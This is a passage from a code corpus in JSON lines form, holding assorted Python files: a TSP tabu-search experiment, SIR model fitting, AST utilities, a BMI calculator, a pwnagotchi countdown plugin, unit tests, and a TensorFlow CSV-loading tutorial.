len(stroke[0])), i] = stroke[i]\n current_t += len(stroke[0])\n np_ink[current_t - 1, 2] = 1 # stroke_end\n # Preprocessing.\n # 1. Size normalization.\n lower = np.min(np_ink[:, 0:2], axis=0)\n upper = np.max(np_ink[:, 0:2], axis=0)\n scale = upper - lower\n scale[scale == 0] = 1\n np_ink[:, 0:2] = (np_ink[:, 0:2] - lower) / scale\n # 2. Compute deltas.\n np_ink[1:, 0:2] -= np_ink[0:-1, 0:2]\n np_ink = np_ink[1:, :]\n return np_ink\n\n\ndef get_predict(inks, topN=3):\n inks = _process_inks_step1(inks)\n inks = _process_inks_step2(inks)\n\n inks = np.expand_dims(inks, axis=0)\n with chainer.using_config('train', False), chainer.no_backprop_mode():\n y = _predictor(inks)\n\n target_class_index = F.squeeze(y).data\n target_class_index = target_class_index.argsort()[-topN:][::-1]\n target_class = []\n for c in target_class_index.tolist():\n target_class.append(_class_labels[c])\n return target_class\n","repo_name":"jxpxxzj/quickdraw-chainer","sub_path":"demo/get_predict.py","file_name":"get_predict.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"} +{"seq_id":"29680743048","text":"def next_letter (texte, i):\n \"\"\"fonction qui renvoie la premiere lettre après le caractère situé à un indice i d'un texte\n paramètre : \n - texte : texte pour lequel on teste la fonction \n - i : indice à partir duquel on veut la prochaine lettre\"\"\"\n nextletter = 0\n if len(texte) != 0:\n if i >= 0 and i < len(texte)-1 :\n if texte[i+1].isalpha() :\n nextletter = i+1\n else :\n while texte[i].isalpha() == False:\n i = i+1\n nextletter = i\n return nextletter\n\nassert next_letter('ce, beau chaperon. ! rouge§;',24 ) == 25, \"Erreur\"\nassert next_letter('azerty',5)==0, \"Erreur\"\nassert next_letter('', 5)==0, \"Erreur\"\nassert next_letter('azerty', 15)==0, \"Erreur\"\n\ntexte = 'ce, beau chaperon. ! rouge§;'\nprint(texte[24])\nprint (next_letter('ce, beau chaperon. ! rouge§;',24 ))\nprint(next_letter('azerty',5))\n\n\ndef next_word (texte, i):\n \"\"\"cette fonction renvoie le mot qui suit la lettre située à l'indice i\n paramètre : \n - texte : texte pour lequel on teste la fonction\n - indice : indice à partir duquel on veut le prochain mot\"\"\"\n nextword = \"\"\n if len(texte) != 0:\n if i >= 0 and i < len(texte)-1 :\n while texte[i].isalpha() :\n nextword = nextword + texte[i]\n i = i+1\n return nextword\n\nassert next_word('texte pour lequel on teste la fonction', 0) == \"texte\", 'Erreur'\nassert next_word('texte pour lequel on teste la fonction', 5) == \"\", 'Erreur'\nassert next_word('', 5) == \"\", 'Erreur'\nassert next_word('texte pour lequel on teste la fonction', 136) == \"\", 'Erreur'\n\n\nprint(next_word('texte pour lequel on teste la fonction', 0))\nprint(next_word('texte pour lequel on teste la fonction', 4))\nprint(next_word('texte pour lequel on teste la fonction', 5))","repo_name":"arcorck/DUT-AS","sub_path":"S1/algo-progra/p1/tp supplémentaire/fonctions_texte.py","file_name":"fonctions_texte.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"11714176602","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 19 14:56:09 2022\n\n@author: jpeacock\n\"\"\"\n\n# =============================================================================\n# Imports\n# =============================================================================\nimport unittest\nfrom pathlib import Path\nfrom mth5.utils.helpers import initialize_mth5\nfrom mth5.helpers import close_open_files\nfrom mth5.mth5 import MTH5\n\n# =============================================================================\n\n\nclass TestInitializeMTH5(unittest.TestCase):\n @classmethod\n def setUpClass(self):\n self.wd = Path().cwd()\n self.m = MTH5()\n self.m.open_mth5(self.wd.joinpath(\"test.h5\"), mode=\"a\")\n\n def test_has_open_file(self):\n self.m = initialize_mth5(self.wd.joinpath(\"test.h5\"), \"w\")\n self.assertIsInstance(self.m, MTH5)\n\n @classmethod\n def tearDownClass(self):\n close_open_files()\n self.wd.joinpath(\"test.h5\").unlink()\n\n\nclass TestInitializeMTH502(unittest.TestCase):\n @classmethod\n def setUpClass(self):\n self.wd = Path().cwd()\n self.m = MTH5()\n self.m.open_mth5(self.wd.joinpath(\"test.h5\"), mode=\"a\")\n\n def test_has_open_file(self):\n m = initialize_mth5(self.wd.joinpath(\"test.h5\"), \"a\")\n self.assertIsInstance(m, MTH5)\n\n @classmethod\n def tearDownClass(self):\n self.m.close_mth5()\n self.wd.joinpath(\"test.h5\").unlink()\n\n\n# =============================================================================\n# Run\n# =============================================================================\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"kujaku11/mth5","sub_path":"tests/helpers/test_initialize_mth5.py","file_name":"test_initialize_mth5.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"53"} +{"seq_id":"5340697693","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Aug 23 00:00:10 2017\n\n@author: hxw\ndescription:\n based on TSP model,\n use gurobi and tabu search algorithm to solve it,\n compare them and output the result.\n\"\"\"\nfrom basic_class import Instance\nfrom tsp_gurobi import gurobi_solve\nimport random\nimport copy\nimport time\nimport cPickle as pickle\nimport csv\n\n#%%\ndef tabu_solve(inst, start_time, gurobi_time, best_obj):\n #%%\n #randomly generate a initial route\n def initial_route():\n route = []\n unvisited = range(n)\n count = n\n while(count != 0):\n index = random.randint(0, count - 1)\n current = unvisited[index]\n route.append(current)\n unvisited.remove(current)\n count -= 1\n return route\n \n def cal_distance(route):\n distance = 0.0\n for i in range(n - 1):\n distance += get_edge(i, i+1, route)\n distance += get_edge(0, n-1, route)\n return distance\n \n def get_edge(index_i, index_j, route):\n if(index_i == n):\n index_i = 0\n if(index_j == n):\n index_j = 0\n return edge[route[index_i]][route[index_j]]\n \n def cal_neighbor(nid_i, nid_j, route):\n #i, j means the node id, and the index_i and index_j means the node's index in route\n index_i = route.index(nid_i)\n index_j = route.index(nid_j)\n delta = 0\n if(index_i == index_j - 1 or index_i == index_j + n - 1):\n delta += get_edge(index_i, index_j + 1, route) + get_edge(index_i - 1, index_j, route)\n delta -= get_edge(index_i - 1, index_i, route) + get_edge(index_j, index_j + 1, route)\n elif(index_i == index_j + 1 or index_j == index_i + n -1):\n delta += get_edge(index_j, index_i + 1, route) + get_edge(index_j - 1, index_i, route)\n delta -= get_edge(index_j - 1, index_j, route) + get_edge(index_i, index_i + 1, route)\n else:\n delta += get_edge(index_j, index_i - 1, route) + get_edge(index_j, index_i + 1, route)\n delta += get_edge(index_i, index_j - 1, route) + get_edge(index_i, index_j + 1, route)\n delta -= get_edge(index_i, index_i - 1, route) + get_edge(index_i, index_i + 1, route)\n delta -= get_edge(index_j, index_j - 1, route) + get_edge(index_j, index_j + 1, route)\n return delta\n \n def output_route(info, route, distance):\n print(info, ', tour:', route, ', distance:', distance)\n \n eplison = 0.000001\n iteration = 10000\n n = inst.n\n tabu_length = int(n * 0.2)\n points = inst.points\n dist = inst.dist\n edge = [([0] * n) for i in range(n)] #此赋值避免list的浅复制\n for j in range(n):\n for i in range(n):\n if(i > j):\n edge[i][j] = dist.get((i,j))\n elif(i < j):\n edge[i][j] = edge[j][i]\n #print(edge)\n \n tabu_list = [([0] * n) for i in range(n)]\n \n best = float('inf')\n best_route = list()\n local = 0.0\n \n ini_route = initial_route()\n local = cal_distance(ini_route)\n best = min(best, local)\n #output_route('initial route', ini_route, local)\n \n #search begins\n route = copy.copy(ini_route)\n best_route = copy.copy(ini_route)\n neighbors = dict()\n for i in range(n):\n for j in range(i + 1, n):\n neighbors[str(i) + ',' + str(j)] = cal_neighbor(i, j, route)\n #print(neighbors)\n \n #%% \n for k in range(iteration):\n sorted_neighbors = sorted(neighbors.items(), key = lambda item : item[1])\n #print('sort_neighbors', sorted_neighbors)\n nid_i = nid_j = 0\n flag = 0\n for neighbor in sorted_neighbors:\n nids = neighbor[0].split(',')\n nid_i = int(nids[0])\n nid_j = int(nids[1])\n delta = neighbor[1]\n temp_local = local + delta\n # aspiration criterion\n if(temp_local < best):\n local = temp_local\n best = local\n flag = 1\n else:\n if(tabu_list[nid_i][nid_j] != 0):\n continue\n else:\n local = temp_local\n break\n # update the route, by swaping the node nid_i and node nid_j\n index_i = route.index(nid_i)\n index_j = route.index(nid_j)\n route.pop(index_i)\n route.insert(index_i, nid_j)\n route.pop(index_j)\n route.insert(index_j, nid_i)\n if(flag == 1):\n best_route = copy.copy(route)\n # update the tabu_list\n for i in range(n):\n for j in range(n - i):\n if(tabu_list[i][j] != 0):\n tabu_list[i][j] -= 1\n tabu_list[nid_i][nid_j] = tabu_length\n #print(nid_i, nid_j)\n #print(tabu_list)\n # update the neighbors\n for i in range(n):\n for j in range(i + 1, n):\n neighbors[str(i) + ',' + str(j)] = cal_neighbor(i, j, route)\n #output_route('iteration : ' + str(k), route, local)\n end_time = time.clock()\n if(end_time - start_time > gurobi_time + eplison or abs(best_obj - best) < eplison):\n break\n \n result = dict()\n result['tour'] = str(best_route)\n result['cost'] = best\n return result \n\n#%%\ndef single():\n inst = Instance(100, 1)\n random.seed(inst.seed_value)\n \n start_time = time.clock()\n gurobi_result = gurobi_solve(inst)\n end_time = time.clock()\n output_time('gurobi solver : ', start_time, end_time)\n print(gurobi_result)\n \n start_time = time.clock()\n tabu_result = tabu_solve(inst)\n end_time = time.clock()\n output_time('tabu search solver : ', start_time, end_time)\n print(tabu_result)\n\n#%%\ndef multy():\n node_count_list = [10, 20, 50, 100, 200]\n #node_count_list = [50]\n result = dict()\n for node_count in node_count_list:\n seed_value = random.randint(1, 100000)\n inst = Instance(node_count, seed_value)\n random.seed(inst.seed_value)\n \n start_time = time.clock()\n gurobi_result = gurobi_solve(inst)\n end_time = time.clock()\n gurobi_time = end_time - start_time\n gurobi_result['time'] = gurobi_time\n \n start_time = time.clock()\n tabu_result = tabu_solve(inst, start_time, gurobi_time, gurobi_result['cost'])\n end_time = time.clock()\n tabu_time = end_time - start_time\n tabu_result['time'] = tabu_time\n \n result['gurobi,' + str(node_count)] = gurobi_result\n result['tabu_search,' + str(node_count)] = tabu_result\n #存储结果\n f = file('result/experiment_3.pkl', 'wb')\n pickle.dump(result, f, True)\n f.close()\n \n #处理数据,输出为csv文件\n table = [['node_count'], ['gurobi_obj'], ['gurobi_time'], ['ts_obj'], ['ts_time'], ['avg_obj_gap']]\n for node_count in node_count_list:\n table[0].append(node_count)\n gurobi_result = result['gurobi,' + str(node_count)]\n tabu_result = result['tabu_search,' + str(node_count)]\n table[1].append(gurobi_result['cost'])\n table[2].append(gurobi_result['time'])\n table[3].append(tabu_result['cost'])\n table[4].append(tabu_result['time'])\n obj_gap = (tabu_result['cost'] - gurobi_result['cost']) / gurobi_result['cost']\n table[5].append(round(obj_gap, 3))\n print(table)\n #%%\n f = open('result/experiment_3.csv', 'wb')\n writer = csv.writer(f)\n for line in table:\n writer.writerow(line)\n f.close()\n \n#%%\ndef main():\n #single()\n multy()\n\nif(__name__ == '__main__'):\n main()\n print('finished')\n","repo_name":"hanxiongwei/TabuSearch-TSP-Wechat","sub_path":"experiment_2.py","file_name":"experiment_2.py","file_ext":"py","file_size_in_byte":7743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"40399965339","text":"import ast\nfrom collections import namedtuple\n\nfrom .astunparser import Unparser\n\nSrcASTToken = namedtuple(\"SrcASTToken\", \"text type\")\n\n\ndef separate_list(ast, max_len):\n \"\"\"\n Handles training / evaluation on long ASTs by splitting\n them into smaller ASTs of length max_len, with a sliding\n window of max_len / 2.\n\n Example: for an AST ast with length 1700, and max_len = 1000,\n the output will be:\n [[ast[0:1000], 0], [ast[500:1500], 1000], [ast[700:1700], 1500]]\n\n Input:\n ast : List[Dictionary]\n List of nodes in pre-order traversal.\n max_len : int\n\n Output:\n aug_asts : List[List[List, int]]\n List of (ast, beginning idx of unseen nodes)\n \"\"\"\n half_len = int(max_len / 2)\n if len(ast) <= max_len:\n return [[ast, 0]]\n\n aug_asts = [[ast[:max_len], 0]]\n i = half_len\n while i < len(ast) - max_len:\n aug_asts.append([ast[i: i + max_len], half_len])\n i += half_len\n idx = max_len - (len(ast) - (i + half_len))\n aug_asts.append([ast[-max_len:], idx])\n return aug_asts\n\n\nclass MyListFile(list):\n def write(self, text, type=None):\n text = text.strip()\n if len(text) > 0:\n self.append(SrcASTToken(text, type))\n\n def flush(self):\n pass\n\n def tokens(self):\n tokens = [tt.text for tt in self]\n return tokens\n\n def transpose(self):\n tokens = [tt.text for tt in self]\n types = [tt.type for tt in self]\n return tokens, types\n\n\ndef parse_file(filename):\n with open(filename, 'r') as reader:\n code = reader.read()\n t = ast.parse(code)\n lst = MyListFile()\n Unparser(t, lst)\n tokens, types = lst.transpose()\n del lst\n return tokens, types\n","repo_name":"CGCL-codes/naturalcc","sub_path":"ncc_dataset/raw_py150/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"53"} +{"seq_id":"13891860675","text":"import numpy as np\n\nfrom tqdm import tqdm\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import TensorDataset, DataLoader\n\nfrom sir import SIR, SIRModelEuler, SIRModelRK\n\ndef make_dataset(beta, gamma, init_state, steps, n_timesteps):\n sir = SIR(beta=beta, gamma=gamma)\n evolution, _ = sir.simulate(init_state, steps[0], steps[-1], len(steps))\n x, y = [], []\n for i in range(len(evolution) - n_timesteps):\n x.append(evolution[i, :])\n y.append(evolution[i+1 : i+1+n_timesteps, :])\n return TensorDataset(torch.tensor(x, dtype=torch.float), torch.tensor(y, dtype=torch.float))\n\nBETA = 0.3\nGAMMA = 0.2\nN_TIMESTEMPS = 40\ninit_state = np.array([1, 1e-3, 0])\ndata = make_dataset(beta=BETA, gamma=GAMMA, init_state=init_state, steps=np.linspace(0, 40, 1000), n_timesteps=N_TIMESTEMPS)\n\ndataset = DataLoader(data, batch_size=64, shuffle=True)\n# model = SIRModelEuler(step=40/1000, n_timesteps=N_TIMESTEMPS)\nmodel = SIRModelRK(step=40/1000, n_timesteps=N_TIMESTEMPS)\noptimizer = optim.Adam(model.parameters(), lr=1e-4)\nscheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, 'min', factor=0.2, min_lr=1e-8, patience=1000, verbose=True)\nloss_fn = nn.MSELoss()\nNEPOCHS = 50\n\nfor epoch in range(NEPOCHS):\n for it, (x, y) in enumerate(dataset):\n optimizer.zero_grad()\n out = model(x)\n loss = loss_fn(out, y)\n loss.backward()\n optimizer.step()\n scheduler.step(loss)\n print(f'[{epoch}] Truth: {BETA} / {GAMMA} == Model: {model.beta.item():.3f} / {model.gamma.item():.3f}')\n\nprint(BETA, GAMMA)\nprint(model.beta, model.gamma)\n","repo_name":"avirmaux/epidemic","sub_path":"sir_gd.py","file_name":"sir_gd.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8026396487","text":"#tilte of code\r\nprint(\"####################|BMI CALCUTATER|####################\")\r\n\r\n#input height and weight\r\nheight = input(\"What is your height in metres: \")\r\nweight = input(\"What is your weight in kilograms: \")\r\n\r\n#converting datatypes\r\nfinal_height = float(height)\r\nfinal_weight = int(weight)\r\n\r\n#calculating BMI\r\nBMI = final_weight / final_height ** 2\r\nfinal_bmi = int(BMI)\r\n\r\n#printing BMI\r\nprint(final_bmi)\r\n\r\n#ranging BMI\r\nif final_bmi > 18 and final_bmi < 25:\r\n print(\"Your bmi is in normal range\")\r\nelif final_bmi < 30 and final_bmi > 25:\r\n print(\"Your bmi is in overweight range\")\r\nelif final_bmi > 30:\r\n print(\"You got obesity\")\r\nelif final_bmi < 18:\r\n print(\"Your bmi is in underweight range\")\r\nelse:\r\n print(\"Information not valid\")","repo_name":"KoushikYarasani/Python-Lrn","sub_path":"BMI.py","file_name":"BMI.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8552140781","text":"# coding=utf-8\n\n\nclass PermissionLogic(object):\n \"\"\"\n Abstract permission logic class\n \"\"\"\n def get_full_permission_string(self, perm):\n \"\"\"\n Return full permission string (app_label.perm_model)\n \"\"\"\n if not getattr(self, 'model', None):\n raise AttributeError(\"You need to use `add_permission_logic` to \"\n \"register the instance to the model class \"\n \"before calling this method.\")\n app_label = self.model._meta.app_label\n model_name = self.model._meta.object_name.lower()\n return \"%s.%s_%s\" % (app_label, perm, model_name)\n\n def has_perm(self, user_obj, perm, obj=None):\n \"\"\"\n Check if user have permission (of object)\n\n Parameters\n ----------\n user_obj : django user model instance\n A django user model instance which be checked\n perm : string\n `app_label.codename` formatted permission string\n obj : None or django model instance\n None or django model instance for object permission\n\n Returns\n -------\n boolean\n Whether the specified user have specified permission (of specified\n object).\n\n .. note::\n Sub class must override this method.\n \"\"\"\n raise NotImplementedError(\n \"'%s' does not override `has_perm(user_obj, perm, obj=None)` \"\n \"method. Sub class of `PermissionLogic` must override this \"\n \"method.\")\n","repo_name":"jazzband/django-permission","sub_path":"src/permission/logics/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":303,"dataset":"github-code","pt":"53"} +{"seq_id":"18074724643","text":"from pwnagotchi.ui.components import LabeledValue\nfrom pwnagotchi.ui.view import BLACK\nimport pwnagotchi.ui.fonts as fonts\nimport pwnagotchi.plugins as plugins\nimport pwnagotchi\nimport logging\nimport datetime\nimport math\nimport yaml\n\n\nclass Christmas(plugins.Plugin):\n __author__ = 'https://github.com/LoganMD'\n __version__ = '1.2.0'\n __license__ = 'GPL3'\n __description__ = 'Christmas Countdown timer for pwnagotchi'\n\n def on_loaded(self):\n logging.info(\"Christmas Plugin loaded.\")\n\n def on_ui_setup(self, ui):\n memenable = False\n with open('/etc/pwnagotchi/config.yml') as f:\n data = yaml.load(f, Loader=yaml.FullLoader)\n\n if 'memtemp' in data[\"main\"][\"plugins\"]:\n if 'enabled' in data[\"main\"][\"plugins\"][\"memtemp\"]:\n if data[\"main\"][\"plugins\"][\"memtemp\"][\"enabled\"]:\n memenable = True\n logging.info(\"Christmas Plugin: memtemp is enabled\")\n if ui.is_waveshare_v2():\n pos = (130, 80) if memenable else (200, 80)\n ui.add_element('christmas', LabeledValue(color=BLACK, label='', value='christmas\\n',\n position=pos,\n label_font=fonts.Small, text_font=fonts.Small))\n\n def on_ui_update(self, ui):\n now = datetime.datetime.now()\n christmas = datetime.datetime(now.year, 12, 25)\n if now > christmas:\n christmas = christmas.replace(year=now.year + 1)\n\n difference = (christmas - now)\n\n days = difference.days\n hours = difference.seconds // 3600\n minutes = (difference.seconds % 3600) // 60\n\n if now.month == 12 and now.day == 25:\n ui.set('christmas', \"merry\\nchristmas!\")\n elif days == 0:\n ui.set('christmas', \"christmas\\n%dH %dM\" % (hours, minutes))\n else:\n ui.set('christmas', \"christmas\\n%dD %dH\" % (days, hours))\n","repo_name":"evilsocket/pwnagotchi-plugins-contrib","sub_path":"christmas.py","file_name":"christmas.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":201,"dataset":"github-code","pt":"53"} +{"seq_id":"24902313237","text":"# api_utils.py\nimport requests\nfrom src.infrastructure.utils.config_utils import ConfigUtils\n\nconfig = ConfigUtils()\nAPI_HEADERS = config.get_config_object('api_headers')\nCONFIG_URL = config.get_config_object('external_urls')\n\n\ndef get_api_data(config_url_key: str, config_header_key: str, url_path: str = '', param: str = '') -> dict:\n \"\"\"\n Retrieves data from an external API.\n :return (dict): The data obtained from the API.\n \"\"\"\n api_url = CONFIG_URL[config_url_key]\n api_headers = API_HEADERS[config_header_key]\n\n if param:\n api_url = api_url.format(param=param)\n if url_path:\n api_url += f'/{url_path}'\n\n response = requests.get(api_url, headers=api_headers)\n if response.status_code == 200:\n return response.json()\n else:\n print('Error in request:', response.status_code)\n return {}\n","repo_name":"Lucas382/B3tBurner","sub_path":"src/infrastructure/utils/api_utils.py","file_name":"api_utils.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"30589922696","text":"from central import control\nfrom central import dto\n\nasync def classify(text, version = 1) :\n model_name=\"SentimentClassifier\"\n model_address = await control.get_model_addr(\n model_name=model_name,\n version=version\n )\n model_result = await control.requests_http(\n address=model_address,\n data={\"text\":text}\n )\n response = dto.model.sentiment_model.ResponseModel(\n model = model_name,\n result = \"positive\",\n classIndex= model_result.get('result'),\n prob = dto.model.sentiment_model.SentimentProb(\n positive=model_result.get('prob')[0],\n neutral=model_result.get('prob')[1],\n negative=model_result.get('prob')[2]\n )\n )\n \n if model_result.get('result') == 0 :\n response.result = \"positive\"\n elif model_result.get('result') == 1 :\n response.result = \"neutral\"\n elif model_result.get('result') == 2 :\n response.result = \"negative\"\n else :\n response.result = \"unclassified\"\n \n return response","repo_name":"Keunyoung-Jung/interview-2023-repo","sub_path":"central-data-server/control/model/sentiment_model.py","file_name":"sentiment_model.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"36758993844","text":"'''\n------------------------------------------------------------------------------------------\ntf.data\n csv\n------------------------------------------------------------------------------------------\n'''\n# common library\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport time\nimport datetime\nimport os\nimport platform\nimport shutil\nimport subprocess\nimport random\nfrom pathlib import Path\nfrom packaging import version\nfrom PIL import Image\nimport itertools\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\n\nimport matplotlib.pyplot as plt\n\nimport tensorflow as tf\n\nprint(__doc__)\n\nAUTOTUNE = tf.data.experimental.AUTOTUNE\n\npd.options.display.max_rows = None\n\n# Display current path\nbasic_path = Path.cwd()\nPROJECT_ROOT_DIR = basic_path.joinpath('Python', 'Normal', 'tensorflow')\nprint('PROJECT_ROOT_DIR = \\n{0}\\n'.format(PROJECT_ROOT_DIR))\n\n# Display tensorflow version\nprint(\"TensorFlow version: \", tf.__version__)\nassert version.parse(tf.__version__).release[0] >= 2, \\\n\"This notebook requires TensorFlow 2.0 or above.\"\n\nprint (\n '------------------------------------------------------------------------------------------------------\\n'\n ' Load csv file using tf.data. \\n'\n '------------------------------------------------------------------------------------------------------\\n'\n )\n\nTRAIN_DATA_URL = \"https://storage.googleapis.com/tf-datasets/titanic/train.csv\"\nTEST_DATA_URL = \"https://storage.googleapis.com/tf-datasets/titanic/eval.csv\"\n\ntrain_file_path = tf.keras.utils.get_file(\n origin=TRAIN_DATA_URL,\n fname=PROJECT_ROOT_DIR.joinpath('original_data', 'titanic', 'train.csv')\n )\n\n\ntest_file_path = tf.keras.utils.get_file(\n origin=TEST_DATA_URL,\n fname=PROJECT_ROOT_DIR.joinpath('original_data', 'titanic', 'eval.csv')\n )\n\n# Make numpy values easier to read.\nnp.set_printoptions(precision=3, suppress=True)\n\n# output first row\nwith open(train_file_path, 'r') as f:\n names_row = f.readline()\n\nCSV_COLUMNS = names_row.rstrip('\\n').split(',')\nprint('CSV_COLUMNS = \\n{0}\\n'.format(CSV_COLUMNS))\n\n# You need to identify the column that will be the label for each sample and indicate what it is.\nLABELS = [0, 1]\nLABEL_COLUMN = 'survived'\n\nFEATURE_COLUMNS = [column for column in CSV_COLUMNS if column != LABEL_COLUMN]\n\ndef get_dataset(file_path):\n dataset = tf.data.experimental.make_csv_dataset(\n file_path,\n batch_size=12, # It is set small to make it easier to see.\n label_name=LABEL_COLUMN,\n na_value=\"?\",\n num_epochs=1,\n ignore_errors=True)\n return dataset\n\n\nraw_train_data = get_dataset(train_file_path)\nraw_test_data = get_dataset(test_file_path)\n\n'''\n-----------------------------------------------------------------------------------------------------\nThe elements that make up the dataset are batches represented as tuples of the form \n(multiple samples, multiple labels). \nThe data in the sample is organized as column-based tensors (rather than row-based tensors), \neach containing a batch-sized (12 in this case) component.\n-----------------------------------------------------------------------------------------------------\n'''\nexamples, labels = next(iter(raw_train_data))\nprint(\"EXAMPLES: \\n\", examples, \"\\n\")\nprint(\"LABELS: \\n\", labels)\n\nprint (\n '------------------------------------------------------------------------------------------------------\\n'\n ' Preprocessing of data. \\n'\n '------------------------------------------------------------------------------------------------------\\n'\n )\n'''\n-------------------------------------------------------------------------------------------------------\nCategory data\nSome columns in this CSV data are category columns. \nThat is, its content must be one of a limited set of options.\n\nIn this CSV, these choices are represented as text. \nThis text needs to be converted to numbers so that you can train the model. \nTo make this easier, you need to create a list of category columns and a list of their choices.\n---------------------------------------------------------------------------------------------------------\n'''\nCATEGORIES = {\n 'sex': ['male', 'female'],\n 'class' : ['First', 'Second', 'Third'],\n 'deck' : ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J'],\n 'embark_town' : ['Cherbourg', 'Southhampton', 'Queenstown'],\n 'alone' : ['y', 'n']\n}\n\n'''\n----------------------------------------------------------------------------------------------------------\nWrite a function that takes a categorical value tensor, matches it with a list of value names, \nand then performs one-hot encoding.\n----------------------------------------------------------------------------------------------------------\n'''\ndef process_categorical_data(data, categories):\n \"\"\"\n ------------------------------------------------------------------\n Returns a one-hot encoded tensor representing category values.\n ------------------------------------------------------------------\n \"\"\"\n \n # Remove the first ' '\n data = tf.strings.regex_replace(data, '^ ', '')\n # Remove the last '.'\n data = tf.strings.regex_replace(data, r'\\.$', '')\n \n # One-hot encoding\n # Reshape data from one dimension (list) to two dimensions (list of one element list).\n data = tf.reshape(data, [-1, 1])\n \n # For each element, create a list of the boolean values of the number of categories, \n # where the label of the element and the category match are True.\n data = categories == data\n \n # Casts a boolean to a floating point number.\n data = tf.cast(data, tf.float32)\n \n # You can also put the entire encoding on one line:\n # data = tf.cast(categories == tf.reshape(data, [-1, 1]), tf.float32)\n return data\n\n'''\n-----------------------------------------------------------------------\nTo visualize this process, \nwe take one tensor of the category column from the first batch, process it, \nand show the state before and after.\n------------------------------------------------------------------------\n'''\nclass_tensor = examples['class']\nprint('class_tensor = \\n{0}\\n'.format(class_tensor))\n\nclass_categories = CATEGORIES['class']\nprint('class_categories = {0}\\n'.format(class_categories))\n\nprocessed_class = process_categorical_data(class_tensor, class_categories)\nprint('processed_class = \\n{0}\\n'.format(processed_class))\n\n'''\n----------------------------------------------------------------------------\nNotice the relationship between the length of the two inputs and the shape of the output.\n----------------------------------------------------------------------------\n'''\nprint('Size of batch: {0}'.format(len(class_tensor.numpy())))\nprint('Number of category labels: {0}'.format(len(class_categories)))\nprint('Shape of one-hot encoded tensor: {0}\\n'.format(processed_class.shape))\n\n'''\n----------------------------------------------------------------------------\nContinuous data\nContinuous data must be normalized so that the value is between 0 and 1. \nTo do this, \nwrite a function that multiplies each value by 1 divided by twice the average of the column values.\n----------------------------------------------------------------------------\n'''\n\n# This function also reshapes the data into a two-dimensional tensor.\ndef process_continuous_data(data, mean):\n # standardization of data\n data = tf.cast(data, tf.float32) * 1/(2*mean)\n return tf.reshape(data, [-1, 1])\n\n'''\n---------------------------------------------------------------------------\nTo perform this calculation, you need the average of the column values. \nObviously, in reality it is necessary to calculate this value, \nbut we will show a value for this example.\n---------------------------------------------------------------------------\n'''\nMEANS = {\n 'age' : 29.631308,\n 'n_siblings_spouses' : 0.545455,\n 'parch' : 0.379585,\n 'fare' : 34.385399\n}\n\n\n'''\n-----------------------------------------------------------------------------\nTo perform this calculation, you need the average of the column values. \nObviously, in reality it is necessary to calculate this value, \nbut we will show a value for this example.\n-----------------------------------------------------------------------------\n'''\n# To see what this function actually does, \n# take a continuous tensor and look before and after.\nage_tensor = examples['age']\nprint('age_tensor = \\n{0}\\n'.format(age_tensor))\n\nage_tensor_standard = process_continuous_data(age_tensor, MEANS['age'])\nprint('age_tensor_standard = \\n{0}\\n'.format(age_tensor_standard))\n\n'''\n------------------------------------------------------------------------------\nData preprocessing\n\nCombine these preprocessing tasks into a single function \nthat can be mapped to batches in a dataset.\n------------------------------------------------------------------------------\n'''\ndef preprocess(features, labels):\n \n # Processing category features\n for feature in CATEGORIES.keys():\n features[feature] = process_categorical_data(features[feature], CATEGORIES[feature])\n\n # Processing of continuous features\n for feature in MEANS.keys():\n features[feature] = process_continuous_data(features[feature], MEANS[feature])\n \n # Assemble features into one tensor.\n features = tf.concat([features[column] for column in FEATURE_COLUMNS], 1)\n \n return features, labels\n\n# Then apply it using the tf.Dataset.map function and shuffle the dataset to prevent overtraining.\ntrain_data = raw_train_data.map(preprocess).shuffle(500)\ntest_data = raw_test_data.map(preprocess)\n\n# Let's see what one sample looks like.\nexamples, labels = next(iter(train_data))\n\nprint('examples = \\n{0}\\n'.format(examples))\nprint('labels = \\n{0}\\n'.format(labels))\n\n'''\n----------------------------------------------------------------------------------\nThis example consists of a two-dimensional array with 12 items (the batch size). \nEach item represents one line of the original CSV file. \nLabels are one-dimensional tensors with 12 values.\n-----------------------------------------------------------------------------------\n'''\n\n'''\n-----------------------------------------------------------------------------------\nBuild the model\n\nIn this example, \nwe use the Keras Functional API and wrap it with the get_model constructor to build a simple model.\n-----------------------------------------------------------------------------------\n'''\n\ndef get_model(input_dim, hidden_units=[100]):\n \"\"\"\n -----------------------------------------------------\n Create Keras model with multiple layers\n\n argument:\n input_dim: (int) shape of items in batch\n labels_dim: (int) label shape\n hidden_units: [int] Layer size of DNN (input layer first)\n learning_rate: (float) optimizer learning rate\n\n Return value:\n Keras model\n ------------------------------------------------------\n \"\"\"\n\n inputs = tf.keras.Input(shape=(input_dim,))\n x = inputs\n\n 